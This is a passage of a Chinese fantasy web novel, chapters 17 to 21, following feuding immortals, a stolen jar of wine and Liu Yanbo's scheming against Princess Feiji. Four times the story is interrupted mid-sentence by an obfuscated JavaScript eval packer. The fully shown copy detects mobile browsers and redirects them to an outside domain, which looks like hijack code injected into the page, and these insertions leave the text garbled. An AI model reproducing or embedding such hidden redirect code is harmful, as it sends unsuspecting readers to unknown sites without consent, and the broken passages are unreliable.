世上不会有这么巧合的事,那块古战场息壤里必定就藏着御炎珠,是你交给莲扶化劫,所有的证据就藏在你等闲境禁地中!” 寒池抬眸,有些疑惑的微微倾首:“真君当日说我对莲扶冷眼旁观,今日又说我拿御炎珠交给她化劫,可真是荒谬。” “谁知道你们私下有什么交易!我只知道,你们分了赃!”白玄失控的大叫。 他满眼血丝,死死盯住寒池不放,企图从他脸上捕捉到一丝破绽。 他笃定道:“莲扶在魔界举止无异,而你却下界提了那只野狐狸飞升,行事与以往大相径庭,若有谁手中有此等至宝,是忍不住不用它的。” “所以,这珠子现在就在你手里,将珠子用在了柳烟波身上!否则凭她绝无可能飞升!” 寒池并不回应白玄的推断,只步步逼近白玄: “我知真君一向以上古真神后裔自居,看不起我等精怪出身。可莲扶上神亦是正统的登比氏神裔,为何你恨她更甚,明知她历劫稍有差池便身死道消,还要去苦心谋害?” 白玄仰面大笑起来:“是啊,精怪出身卑贱,只能跟着真神们后面摇尾乞怜,要不是现在天界堕落,哪轮的上你们得意。即便如此,九重天也还要脸,将上古神族称为真神,只敢把你们叫做神。 可莲扶,她不但要和你们混在一起,还向肮脏的魔族投怀送抱,全然背叛了自己的血统,玷污了神裔,这叫自甘下贱,更为我所不齿!我不光害她,连她与那魔头勾连都是我告发的!” 一阵风过,白玄被掀翻在地,脸上已留下一个火辣辣的耳光印。 他啐了一口,想摸索着爬起来,却被寒池一脚踩住了手。 寒池听着脚底的沙沙声,缓慢且细致地碾磨着。 他目光冷漠,居高临下的俯视着他,一字一顿的说: “再口不择言,就不是一个巴掌的事了。” 白玄不由心中发憷,他强忍着手上的阵阵痛意,笑声更大了:“哈哈你急了,你终于急了!” 寒池不再与他废话,提了折扇便要向后殿行去,却被白玄拿剑拦住去路: “御炎珠在哪?” 寒池眼皮不抬一下,伸出两指弹开剑身,发出“嗡——”的一声剑鸣。 “滚开。” 他越过白玄,突然又回了头。 留下一个意味深长的眼神:“有本事,就去天君那里告发我。” 17. 加大剂量 白玄最讨厌的,就是他这样的眼神。 有恃无恐,傲慢骄矜,还带着不加遮掩的挑衅。 即便他不发一言,但白玄一看便知,这出身卑贱的玗琪木精,根本不把他放在眼里。 可寒池却说中了他的软肋。 若他向天君告发成功,那缴出的珠子肯定归了天君所有,他是辛苦为他人做嫁衣;若是告发失败,那天下皆知御炎珠一事,到时他不仅要和寒池争,还要同天上地下千万人争,只怕更加有心无力。 寒池看白玄阴晴不定的脸色,轻嗤一声,拂袖而去。 白玄青筋暴起,挺身挡住去路:“别欺人太甚!” 他丢开长剑,双手作环,红色火焰在他掌中腾腾升起,化作一柄长刀向寒池射来。 寒池展臂向后倒滑,只听“铮”的一声,火刀已被寒池格回,擦着风又折回白玄手里。 与此同时,他手中折扇光芒大盛,反手化作一柄赤色玗琪长剑。 剑身流满枝蔓银纹,剑身晶莹似玉,唯独剑刃处夹杂着一片殷红,似虬结的树根,又似暴起的血管。 九重天上下皆知,寒池化形后左臂上仍有一颗未化的枝丫,是为他的第三臂,砍下便成了随身法宝夷骨剑。 剑随意动,与他的分身无异,呼之来去自如,有饮风退流之能。 他左手将夷骨剑持于面前,右手以两指拂于剑身,旋即满殿生风,缕缕气流被剑源源不断的抽走,飞入身后变作旋转奔腾的流风,似游龙由上而下包围寒池剑身。 白玄太久不与寒池交手,不敢妄动,只得以十方真焰作一圈身光护体,再腾身向寒池逼来。 二人拆了几招,周身衣带上下翻飞,白玄忽觉顶心一凉,只见一道白衣身影形似鬼魅,剑尖直贯他头顶灵台而来。 风与气涌动,室内为数不多的器具被气流搅动,漂浮在半空顺着旋转,时不时发出噼啪的相碰破碎之声。 白玄被寒池搅在风流中心,被风鼓胀的动弹不得,只能眼睁睁的等待寒池劈下。 就在这时,寒池猛地挥袖收势,突然停下的风将白玄扑翻在地,他的十方真焰被吹得窜起,险些烧到自己。 夷骨剑化作折扇,坠入寒池之手。 他静静望着地趴在地上的白玄:“还要继续吗?” “寒池!你竟敢这般羞辱我……” “那又如何。” 即便说出的话如此傲慢,但语气听起来仍谦和有礼,仿佛在为不经意的误触而道歉,这便是寒池了。 地下伸出一只手来,紧扯住寒池的衣角不放,白玄仰头,露出一张狼狈扭曲的脸,哭喊道: “寒池!我知道你对那狐狸精用情至深,不惜用御炎珠也要将她提仙。可你用也用完了,修为又高出我不知多少,就当借我一回不行吗?” 寒池听得眉梢抽搐,将他扇飞到檐上。 白玄摔落在地,似乎连御空都不会了,他挣扎着匍匐到寒池脚边,口中不绝道: “有虞氏为了御炎珠不知折损了多少人,现下衰败至此,你我也算少年相识,就忍心这么看着吗! 只要我、只要我拿到御炎珠,定可光耀宗族,只要你给我,你私藏的事就此揭过,我不会再提!我求你,恳求你!” 有虞氏每代都不乏能人前往古战场寻找御炎珠,成为那里上古怨灵贪魔的祭品,代代折命于此,因此凋落至今,叫他如何放弃。 寒池蹙眉睇他:“相识许久,你仍不了解我。” 脚下的白玄神色激动,鬓发散乱,眼珠失去神采,徒劳而无措的紧紧抓着寒池,口中不住道“给我、给我”,俨然是痴癫之态。 若在以往,哪怕要杀了白玄,他也绝不肯向自己低头,更不要说毫无尊严的跪在他的脚边,实在是反常。 寒池屈身去探白玄的脉搏,果然错乱失固。 转头看到打碎在地的茶壶,他心下了然。 这致幻的茶水随风涌动流散,白玄错乱间不设抵抗,吸了个满鼻满口。 只是以脉象看,他绝非今日才作此态,应是已吸引这茶多日了。 地上的人已然昏迷,当年也曾是意气的少年儿郎,如今只愿、也只能在梦境中寻找那些往日的浮光掠影了。 寒池跨过他,走出这间已半塌的神殿。 汜天山脚下,北风烈烈呼啸,死海仍平静如纸,无波无澜。 万物入死海都如一芥子,无边无际,化为无痕无迹的海水,回归后土,寒池虽知白玄绝不敢害死偍唐,却仍是心惊。 夷骨剑飞入云间,转头扎入河面。 死海渐渐被风驱使形成旋涡,围绕夷骨剑如巨龙盘踞而上,翻涌起的水花浪头似猛兽咆哮,随剑拔起至空中,硬生生在水面撕扯出一个口子,吸出无水的河床。 偍唐就躺在死海的中心。 总算白玄还未完全失去理智,给他罩了一层薄薄的结界护体。 寒池飞身将偍唐移至岸上,偍唐面色沉沉,脉息与白玄如出一辙,想来被白玄灌了满腹的茶水。 他幻化出一团莹蓝的仙气,一沾偍唐肌肤立刻入体冲击发作。 半柱香后,偍唐终于将睁开了眼,看到寒池便绽开了笑。 他本是个极俊美的少年,此刻笑起来虽然虚弱,仍可见风采光华。 他边咳边道:“这个气息,我就知道肯定是兄长。” “一段日子不见,怎的白玄都能欺负你。”寒池慢慢将他扶起。 偍唐不好意思的别开头,自嘲道:“自从我们各自建了自己的洞府,好久都不曾来往。这次他向我求助,我想着总归是故人便来了,没想到被他的茶撂倒了。” “他不值得讲旧情。以后别再来了。” “兄长。”偍唐拉住他道:“你这就要走了吗?” “嗯,这死海的风闻起来太不舒服。” 寒池将飞还的夷骨剑收入手中,又作一柄白玉折扇。 偍唐望着他提拔的身姿,恍惚回到了当年他与姐姐和自己三人一同修行的日子,那时他就觉得,他定是最出众的人,几万年过去了,果然被他说中。 他轻声提醒:“小心些,白玄看着有些魔怔了,更不会与你善罢甘休。” 寒池拍拍他的肩:“我明白。” “兄长,那个……” “怎么?” “那小狐是什么样子?听说在泠溪宴上你可宝贝她了。”偍唐故作神秘的挤眉弄眼。 “......要不还是送你回下面,接着喝死海水吧。” 寒池决定收回放在偍唐肩头安慰他的手。 * 等闲境中 各山各府的帖子如雪花一般砸来,生怕一个赶不上,寒池又闭关和狐狸精逍遥快活去了。 烟波这才知道,寒池然也在新神之列,但与上古真神沾亲带故,足够在九重天当个回忆上古荣光的活古董,因此众仙家格外爱请他出席法会宴席,他不胜其扰,才安排白鹤委婉的谢客。 如今烟波自告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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烟波正色道:“失敬失敬,小妹在给姐姐请安。” “你说寒池两万岁是少年得志,那你两千岁算什么?神童啊?” 波波挺了挺胸:“我们草木命苦,根在哪里就长在哪里,不似走兽生来便有意识,修炼极其艰难,这样看,我应该是我们全族的骄傲。” 这也正是她崇拜寒池的原因。如今每当仙界草木化灵,都会去往姑射山寒池化形之地叩拜,祈求寒池的运气加持自己得道飞升。 一番话令烟波肃然起敬,果然这九重天是藏龙卧虎之地,各个不得小觑,她不由联想到自己身上,道:“你倒看得开,不像九重天都爱说我蛊惑了他。” 波波立刻摇头,斩钉截铁道:“当然不会。” 见她这么肯定,烟波思忖这是个套出她飞升实情的好机会,连忙追问起来。 波波言之凿凿:“上神觉得你脑子有病,怎么会被你蛊惑呢!” “???” 烟波一边在心中亲切问候寒池,一边凉飕飕的问:“他是这么同你说的?” “你刚醒的那段时间,上神总疑心是换仙骨时出了差错,才叫你性情大变,所以叮嘱我注意你的一举一动,好调整用药。” “性情大变?”烟波不动声色,摇着笔继续追问:”那现在还疑心吗?” 波波摇了摇头,想了想,又改为点头:“我也不知道。反正打从你参加泠溪的仙宴回来,上神就加大了剂量,把不苦的药全都去掉啦。” 说完,她不解的发现,柳烟波的脸色瞬间变得比苦药还黑。 二人正说着话,远处突然从云堆钻出了个小小的人影,正是方才的小仙童去而复返。 他一把扑到烟波怀中,哭喊道:“神女救我!” 18. 还酒 那仙童哭道:“神女给我的酒被偷了!” 原来在他回去的路上,迎面有一仙娥向他问路,问着问着,仙娥说闻到异香十分好奇,他便打开酒罐借她看了一眼,没想到再揭开盖,罐中的香雪酒已变成了清水。 烟波本想问那仙娥的样貌,但转念一想,既然都不动声色的换酒了,自然也能将样貌换去,只问道:“你看清那仙娥从哪个方向而来了吗?” 木赭擦去眼泪,指了个方向:“我立刻去追了,可是追到半路还是没能追上。” 烟波支着头,道:“那童子去而复返,是要我再给一罐?” “还请神女相救,否则回去没法给神君交待!小仙好不容易才成为天上仙童,若是这次丢了神君的面子,他将我投回凡间做山神可怎么办呀。” 木赭急得顿足,眼泪滴滴答答掉了一地。 烟波心中一动:“做山神不好吗?” 木赭哭哭啼啼道:“山神只能每年上天来奏一回事,向来只有地仙想飞升天仙的,哪有想做回地仙的呢!” 烟波自从打定主意赖在九重天,也多次思考过对未来的打算,只是她至今摸不透寒池的底细,又初初学习修炼,说什么都为时尚早。 但要是寒池真无异心,那么自己借他这个靠山外派当个山神,岂不是逍遥快活? 木赭的话为烟波提点了去处,碍于波波阻拦说酒有定数不能多给,烟波只好捧出了看家法宝答谢——一根金灿灿的糖人出来。 木赭哪见过这种东西,瞪圆了眼,并不敢伸手去接。烟波道:“吃吧,甜的,吃了就能缓缓伤心。” 这便是烟波的本事了,她现在是不敢出等闲境,可不代表她身边的人不能出。 她困在九重天,清淡的青蛙都能在嘴里游泳,只得日思夜想辗转反侧。 她忍无可忍,便将脑筋动在了波波身上,翻出人间的市井杂记邀她同看,行云流水的给波波介绍人间的各种吃食,什么香糕果脯酥酪烧鸡炙肉粉汤一个没落。 波波虽然是个土生土长在九重天的精儿,可化形不久到底还是小女孩天性,在烟波的引诱下,终于帮她代为采买,彻底上了烟波的贼船。 同一根糖人的滋味,仙童想到自己要被打回山神,舔一口就皱一下眉。 烟波而嗦着香甜滋味恍若嗦到自己的前途,心中美得冒泡。 待仙童走后,她眯眼轻声道:“我总有种预感,那酒可能和我有点关系。” 波波不明白,烟波又道:“听木赭指的方向,像不像去白民国的路。” 身边却难得的听不到回话。 烟波预感不祥,道:“你是不是知道些什么?” “我......我下界的路上,听闻等闲境的柳烟波仗着有上神撑腰,让白民王女颜面扫地,王女受了委屈也不敢声张,碍于寒池的威势,白民王也只能劝飞霁隐忍。” 烟波柳眉倒竖,冷笑道:“那战神上仙先惹了她,她怎么不说她的不是?柿子只敢捡软的捏,看来这截酒的事,十有八九就是她干的。” 波波急急道:“那日我没跟去宴上,究竟发生了什么事?” 烟波瞥她一眼:“小孩子家家的,还是少知道这些污糟事。要是好奇,就去问你们家上神。” 见波波似是还想说什么,道:“怎么了?你不相信?” 波波摇头:“也可能不是她。” 烟波侧目,只听波波嗫嚅道: “我下界的路上,听到有多嘴的小仙说你仗着上神的势嚣张跋扈,代他招待各家仙使出尽了风头,看不惯你的人家不少,我也猜不准。” 烟波却不以为然,反而嬉皮笑脸道:“看大门向来是个不入流的差事,到我这竟成金疙瘩了?那可得守好,我可受不了别人不嫉妒我。” 她开始收拾桌上纸墨,招呼波波回去:“咱们早些回去,既然已经敢上门截酒,恐怕马上就要来截人了。” 给他办事还要受累,不划算。 波波踢踢脚,低头嘟囔道:“你别这么胆小,我看九重天还没谁敢在等闲境生事呢。” “我啊,可害怕极了,所以不但要躲,还不敢告诉寒池。” 波波不解,追了上去:“为什么啊,这次你又没做错?” “你也知道,我给他留下的印象不好,我去说,难免会有给自己叫屈告状的嫌疑,还是算了吧,反正我习惯了,就也没什么了。” 波波见烟波低垂下头,长长的睫毛投在睑下,晕出一片影子,看得很是不忍:“这怎么能行,你又不是她们说的那样!” 烟波顾虑甚多,还是不肯告诉寒池。 波波见她这样,忿忿不平道:“那我去说好了。” 一双亮晶晶的琥珀眼睛升了起来,烟波握住波波的小手,又是感激又是欢喜:“是啊,你是上神最信任的人,他肯定会相信你说的。” 波波有些不好意思,在原地扭来扭去,心中却很是舒爽:“没有啦,也算不上最信任的人......” 不过被烟波这么一说,波波更觉得自己是义不容辞,说着就施法飞书。 烟波见火候差不多了,将她拉回来,塞了今日抄的书到她手上,道:“等等。你只需将这个给他,别的都等他回来再和他说。” 见波波疑惑,烟波通情达理道:“那禁制的帖子看起来事情重大,虽然上神不说,但十有八九还是为这事出去的,我这点事也没什么,先别打扰他办正事。” 时机也是很重要的事。此时按下不表,只如常将功课奉上,拉的时间越长,越显得她隐忍懂事,才是一朵我见犹怜的真白花。 这般顾全大局,叫波波更感动的眼泪汪汪,她若有所思唤了一声“烟波”。 “怎么了?” “我觉得,你的脑袋肯定好多了。” “......” 真是谢谢你啊。 遥远的海外之西,高大巍峨的神殿有数不清的台阶和神像,五十盏银灯上的火光吹得微微颤动。 神殿高台上,一女子端坐,摩挲着酒坛,情绪愈发激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这几天她忙着接待各路仙使,这位仙娥遗世独立的站在一边,既不凑上前来说事,又不肯回去,每天都要将自己罚站到人散尽了才消失。 她没兴致给自己找不痛快,只当没瞧见。 原来她是飞霁的仙娥,难怪摆张臭脸。 烟波道:“小仙不认识,今日还是第一次见。” 飞霁见她装傻,轻轻冷哼一声,道:“我的仙使郁姝昨日在附近捡到一坛香雪酒,这香雪酒是寒池上神独有,我自然要物归原主,如数奉还。” 波波和烟波交换了一个眼神,换木赭酒的果然是这位白民王女。 烟波用眼神示意波波噤声,从善如流道:“多谢飞霁仙子相助。方才正好有个小仙童说他的酒丢了,原来是被仙子捡到了。我这就将他找来,这才是物归原主呢。” “等等!” 烟波立刻止住脚步,回头以探询的目光盯着飞霁;“仙子还有事要交代吗?” 飞霁上下检视她,拿不准这狐狸是真不知还是假不知。她清清嗓子,道:“我是说,物归原主,这酒是你的吗?” “仙子此言何意?烟波听不明白。” 19. 耳报神 “九重天众仙皆知,这香雪酒只有上神有权处理,倘若有人擅做主张,将上神的酒私下交易,我便是还错了人,不得不谨慎一些,还请你代为通传上神一见。” 这个“有人”自然是在点她了。 烟波心中明白,面上丝毫不显,仍微笑道:“仙子考虑的周全,只是上神不在,烦请仙子交给我,我会转交他的。” 若她还是在泠溪宴上的心性,定然不会给飞霁好脸色,无奈她已决意留下,对方势强,就得低这个头。 只要把酒拿回来,剩下的都是波波这个小耳报神的差事,她可不与这位高贵仙子起冲突。 飞霁仰慕寒池多年,却因为骄矜的性子不曾向寒池表露,没想到冷不丁杀出个柳烟波,并盛传寒池对她情根深种,这才坐不住了,今日千里迢迢从白民国涉海而来,为的就是借还酒的由头与寒池相见。 这狐妖巧舌如簧,若是见不到人由她转述,还酒定然成了她的功劳。 郁姝见她面色越发不悦,扬声道:“让你通传而已,怎的这般推三阻四,莫非你心中有鬼么?” “上神真的出去了。上神说过,他不在的时候,就由烟波出面招待访客,你们给她就是了。” 从烟波身后冒出个梳双髻的小脑袋,一双大眼睛睁得溜圆。 飞霁见这么一个怯生生的小女孩,抱臂问道:“你又是谁?” “我是波波。”波波懵懂,不知道飞霁问的是她的身份,只老老实实的回道。 飞霁想左右不过是个狐狸身边的小精怪,便不再给她眼神,只坚持要见寒池,放任郁姝纠缠烟波。 烟波知道这二人是同心同德,故意为难她来了,心中又把寒池骂了一百遍老贼,冤大头有头风流债有主,这仙子不找寒池算账,自己倒霉催的要给他当冤大头。 她低头瞥了眼波波,见她已经被吓傻了,抓着自己的裙摆不放。 心中长叹一声,这个不争气的,不该哭的时候瞎哭,该她大展神威的时候又指望不上。 突然,对面飘来一声冷笑。 “九重天可真是越来越没规矩了,原先只有真神是神,后来什么东西都以为自己能当神仙,在这里耍横,郁姝,你说奇怪不奇怪。” 郁姝心领神会,接着道:“公主说得是,更奇怪的是,有些东西认不清自己的身份,殊不知人妖有别,妖与仙之间更是隔了天堑呢。” 烟波感觉到波波揪着自己裙角往自己身边缩了缩,她微微一笑: “烟波来九重天时日不多,但也久闻乘黄氏大名,貌如美狐,背生长角,是威风凛凛的上古神兽。又听闻寒池上神是玗琪神木所化,烟波无知,如果照仙子所言只有真神才是神,那大家岂不是都要被归为‘什么东西’了?” 多亏有寒池督促,烟波将上古神族了解了个七七八八,自然知道眼前这位飞霁仙子是远在古白民国的乘黄氏族人。 上古时代历经大洪水和几次战役,真神渐渐不知所踪,倒是他们昔日的部下和神兽渐渐出了头,如今天上的神族大多都出自这些人的后裔。 只是没想到飞霁骂她还愿意带上自己全家,怪够义气的。 “我、我说的明明是你!”飞霁没想到烟波连她也敢骂,气的拨开郁姝,指着烟波道:“区区山野小兽,还敢对我指桑骂槐?” “小仙不敢,若是仙子一定要亲手将酒交给上神,还请入境等待上神回来。” 等闲境结界自烟波勾引未遂那日起就没加回来,这位仙子实在不需要在这和她较劲。 “只是,进去后有任何事,我都无法负责了。” 波波吓了一跳,连忙拉住她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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飞霁脸色骤变,只一瞬间的功夫,烟波已被一条锁妖绳捆绑在地。 烟波愕然,不是姐姐,波波说的话,怎么挨捆的又是她? 还未等她发问,飞霁已经开口,一双妙目死死盯着烟波不放:“你们果然知道。只等将我哄走就颠倒黑白,向上神告状是不是?” 郁姝将拼命挣扎的波波丢到飞霁脚下,盯着这浑身乱颤的小果子精,飞霁指向烟波:“这些话都是她教你的对么。” 波波拼命摇头,只胡乱掉下泪来,见她可怜兮兮的形容,真如这狐狸精一般无二,飞霁不由得心生厌恶,呵斥了她两句。 波波的小脑瓜里只有一根筋,轴的谁也拉不回,见飞霁非但不认错,反而要逼她说谎,更加不服,惊天动地的蹬腿大哭起来。 飞霁从来没听过和雷声似响亮的哭嚎,不由得也吓得倒退二步,扬手就要把波波噤了声。 烟波见不好,情急之下抢道:“是又如何,不是又如何?” “你!”飞霁没想到她竟狂妄至此地步。 柳烟波一改方才的温顺,学着方才飞霁看她的眼神,毫不掩饰的从上到下用眼皮将飞霁扫视一遍,懒洋洋道:“怪我愚笨,不晓得仙子不爱受我的体贴。只是仙子如此待我,恐怕不太妥当吧?” 郁姝喝道:“你要作怪,公主替上神管教你,哪里不妥?” 烟波还要挣扎,却觉身上的绳索越缠越紧,渐渐渗出血来。 飞霁被烟波一激,一门心思全放到了她身上,笑道:“终于露出真面孔了,比刚才假惺惺的样子看着舒服多了。少挣扎些吧,这锁妖绳越动缠的就越紧,疼的可是你自己。” 她缓缓俯就下身,声音一如既往的娇柔,一字一句的说:“管好你的嘴,我就将绳子解开,怎么样?” 烟波用余光悄悄瞥了眼一旁的波波,她恐怕从有灵识起还未见过这样的场面,此时被吓的呆若木鸡,看着已经彻底懵了。 她冲她眨了眨眼,波波还算没有傻过头。 见飞霁郁姝都被烟波吸引走了注意,一溜烟跑走了。 烟波心中长叹一口气,给波波当了回冤大头,这必须值得波波汇报时给她猛加同情分吧! 飞霁见她丝毫不为所动,甚至笑意愈来愈浓,心中有些不安:“看来,你是不愿意了?” “偌大的白民国,就没有一个人告诉过公主,你这些伎俩土的掉渣吗?” 飞霁被她一激,嚯的站起身来,她是失心疯了,才会想着和这野狐狸讲和。 她沉下脸: “放肆。你不会以为,我没有法子治你吧?我知道你在想什么,莫说一罐、十罐香雪酒都有人自动奉上我面前,我何须来偷?非但九重天无人会信,纵使你说到上神面前,到时也只会落得个搬弄是非的名声。” 烟波眉眼弯弯,粲然一笑:“那仙童就是明晃晃的证人,倘若你真不惧我乱说,就不会反复阻拦。我在这里也没什么名声,可仙子身份尊贵,才更要讲究体面,王女偷小仙童的酒传出去,是我没脸还是你更没脸?” 她煞有其事的抬头做顿悟状:“也对,这就是仙子的一贯做派嘛,偷个酒都不敢偷个大的,只敢欺负一个小仙童,毕竟他人微言轻,说话也不算数。” 飞霁居高临下的俯视她,樱唇勾出一个极好看的笑容: “知道就好。哪怕我真认下了,谁又能同我计较?” 她还想再说,就见柳烟波已麻溜的在地上滚了起来,她丝毫不顾与绳子摩擦的刺痛,从这头滚到那头,从那头滚到这头,地下身上的血迹越流越多。 飞霁郁姝二人从未见过如此行事,目瞪口呆的愣在当场。 飞霁失声道:“你、你疯啦?” 烟波滚得起劲,气喘吁吁道:“仙子不用罚我,我自罚就行,到时让九重天的仙君都看看,多体面啊。” 波波本来躲在一边,见烟波这般形容,“哇”得一声冒头扑了上去,趴在她身上哭得大有天崩地裂之势: “完了完了,烟波被欺负疯了,好不容易长好的脑袋又坏掉了!” ......这个傻子! 柳烟波要把事情闹大。 飞霁瞳孔骤然缩紧。 光是一身血迹就足够唬人,哪怕再说她有错,这样折腾下去,最后总变成了自己过分跋扈,做了衬托她的恶人。 她本想借还酒来寒池跟前表功,要是任由柳烟波这样闹下去,可大大的不妙。 旁边的小精怪哭声震天,嘴里念念叨叨一堆听不清的话,郁姝忙着尖声勒令她闭嘴,简直要乱成一锅粥,吵得飞霁心烦意乱,拿不定这事该如何收场,干脆将锁妖绳一收,匆匆往等闲境中去了。 波波自落地起是第一次见这样的胡闹,见飞霁将锁妖绳收去才回过神来,顾不上再拦她,摸着烟波浑身的殷红血痕,两大包泪又砸了下来:“都、都怪我没忍住!是我连累了你.......” 烟波此时面色虽雪白,但心里很是畅然,她轻声道:“别哭了。再哭,小心她又把你绑起来,我可救不了你。” “那我该怎么办?”波波抽着鼻子。 “当然是——”烟波说话费去许多气力,停下喘口气才道: “让他赶紧回来收拾自己的烂账!” “可、可我不知道上神现在在哪,怎么告诉他呀!”波波急得团团转。 她修为不够,与上神的万里相传术虽可上天入地的传递讯息,若不知道送达者的位置就使不出。 “你不知道?那这几日我的功课你是怎么给他的?”烟波傻眼。 波波撇开烟波,心虚的蹲成一团,吞吞吐吐地说:“上神让我将功课放在雪斋,待他回来再看,还专门交代了别让你知道。” 这狗男人,烟波磨牙。 算了,她示意波波凑近到耳边,小心叮嘱一番,波波听罢点点头,将脸上的泪都抹去,闭上双眼,盘腿坐下,单手掐诀往眉心一点,运出万里相传术,呼唤白鹤。 飞霁本想抢先去向寒池告状,可发现寒池确不在境中后,也不敢再往深去,草草绕了绕便退了出来。 她越走越不安,犹豫道:“柳烟波软硬不吃,摆明了要告诉上神,郁姝你说,这该怎么收场?” 郁姝握住她的手,安慰道:“公主千万要稳住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332635|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切莫失了气势。这些精怪都吃软怕硬,一旦被她看出您奈何不了她,那她再也不会将您放在眼里了。” 可是上神那里…… 飞霁已拿定了主意,她不能走。 寒池大概真的不在境中,她更要留在这里,抢在柳烟波前,第一个面见上神告状。 然而,当她回到境前,却发现打定这个主意的可不止她一人。 那满身血痕,横躺在地上的女子,不是柳烟波又是谁? “你怎么、还在这儿?”她愣愣道。 “我以天为被,以地为榻,不在这里,还能在哪里?”烟波慵懒的翻了个身。 飞霁头一次见这等无赖泼皮,气得嘴唇发抖:“你、你是要我赔礼道歉吗?” 烟波仿佛听到天大的怪事,睁大了眼睛,诧异道:“当然不。” 赔礼道歉岂不是太便宜她了。 既然自己送上门来,那就别怪她另作它用了。 “我只是好奇,咱们无冤无仇,怎么你偏要同我过不去?” 这话正说到飞霁心坎上,她用手抚住心口,眼中腾腾升起冰冷的火焰:“因为你本就不该在这。” “上神天资卓越,力挽狂澜支撑古战场,除去无数邪魔,九重天无人不敬他爱他;可自从你来,说起等闲境的上神,大家只说他耽于美色,自甘堕落,多么赫赫的功绩也都不再提了,是你拖累了他的声誉,不觉得有愧吗? 如若我是你,我绝不会让上神因我受累,定会避而不见,还上神的清名。” 烟波眼波流转,琥珀色的眸子里漾着蜜色,斜倾在地,自成一种媚态,明知故问的惊讶道:“他自己的名声,他爱糟蹋就糟蹋么,仙子替他操什么心?” “他在火府当着众仙家的面力保下你,要不是你的情人太多,他怎么会搭上自己的名声!” 烟波愣了愣,有些僵硬道:“我还是不明白,这与我有什么关系。仙子还不知道吧,不是我纠缠上神,是上神硬要纠缠我呢。” “你!你还敢污蔑上神!” “仙子如果不信,就和我一起在这儿呆着,看看我是怎么向他哭诉,他会怎么指责你就明白了。只要我开口,他都没有不听的。 我还要跟他说,我听了仙子的话,要避而不见还他的清名,看他会怎么哭着喊着挽留我。这样,谁真谁假,自然分明了。” 飞霁看着眼前的女子一脸无辜,甚至还冲着她微笑,露出洁白的犬齿,却不亚于最嚣张的挑衅。 她不愿相信这是真的,可内心有个声音却绝望的提醒她,柳烟波恐怕说的是实话。 她挥散心底的声音,用尽气力强撑住自己的骄傲,居高临下的俯视柳烟波:“那他,知道这才是你的真面目吗?” “仙子不会要到上神前揭穿我吧?”烟波窃笑。 明明是柳烟波委身在地,可见她有恃无恐的神情让飞霁觉得,她才是居高临下的那一个。 她颤抖的伸出手,一条长绳又缚在了烟波身上:“说的不错,我没法坐视不管。” 她要亲自领柳烟波上四御问罪。 远处,一行白鹤飞上了天。 21. 怜香惜玉 耳边的风呼呼作响,云雾高低不一的急速扑面而过,波波顾不上整理被风吹乱的鬓发,焦急万分的趴在黄钟的肩上,紧圈住白鹤修长的脖颈。 九少年已化为九鹤列阵将波波簇拥在中间,由黄钟领头载着她从等闲境后山直冲入九重天。 河水飞檐而下,灌入云海化为一道蒸蔚霞光。 摇曳的白草漂浮在紫红色的河水上,像一簇簇卷曲的白发。远远看到山巅斜出高台顶上的灰白鳞瓦,波波大叫:“到了!就是这里了!” 这里是最后一家,虽然拜帖已被烧成灰烬,但寒池出给烟波的那道考题,她一个字也没忘,按烟波的嘱托,她趁飞霁不备召唤九鹤出逃。 “东南方向的这一支汇集于汜天山,被叫做死海。” 每个拜帖上的地点她都去过,皆不见寒池,波波心中祈祷,上神一定要在这里。 黄钟将她放下,波波从鹤背上急急跳下,却被白鹤用翅膀隔住。 再一瞧,黄钟已化抖落衣襟上的白羽,化为少年模样,他拉住波波的手:“我同你一起去。” 波波不解的看着他。黄钟指着不远处的高台道:“这里有股奇怪的味道,有点像迷香。” 踏入忘辛殿的高台,果然闻到一股幽奇的茶香。 高台坐落在汜天山巅斜出的晓望峰上,四面通风,不设屏障,仅用绘尽万神之战的罗帘遮挡,此时风还未停,白玄的脸便在这书满失传神迹的纱罗后浮沉。 室中狼藉一片,杯盘碗盏打翻了一地,连桌几也不曾幸免,只有白玄毫不在意的坐着,眼神空洞,似失了魂魄一般。 波波虽觉得奇怪,但也只当视而不见,向白玄行礼。 白玄此时已清醒过来,他倚在凭几上,打量着席下二人,眼神阴翳:“你们是寒池的仙使?” 波波点点头:“是的,上神可曾来过真君这里?” 白玄倏然一笑:“来过,怎么没来过,他刚刚就在这里。你们有什么事找他?” 波波正要开口,黄钟先道:“我们有十分要紧的事。” “哦。”白玄了然,便不再多问,面色和蔼的向外一指:“他应该往死海去了。” 待白鹤们向下俯冲而去,白玄才唤门外仙使进来:“去,跟着那群鹤,看看他们要干什么。” 见仙使站立不动,白玄露出一抹狞笑,用长剑狠狠划开手臂,流满了一碗血。 仙使瞬间化为一只狍鸮,大口大口的吞咽起白玄的鲜血,它腋下的眼睛满是餍足,喝罢才甩开爪子去了。 白玄看着它的背影,冷哼一声,心中又是悲凉又觉讽刺。 他折腾了这么多年,到头来所能倚靠的,还是只有这身天生的真神血肉。 白民国尚银,这里的景致与等闲境截然不同,在乘黄氏的地下静室,触目可及的皆是坚石银像,此刻烟波正对着一尊等身高的银像倒挂,正是欣赏银像大脚趾的绝佳视角。 烟波做好了为当山神舍生忘死的准备,却也没想到自己要被倒挂在地下。 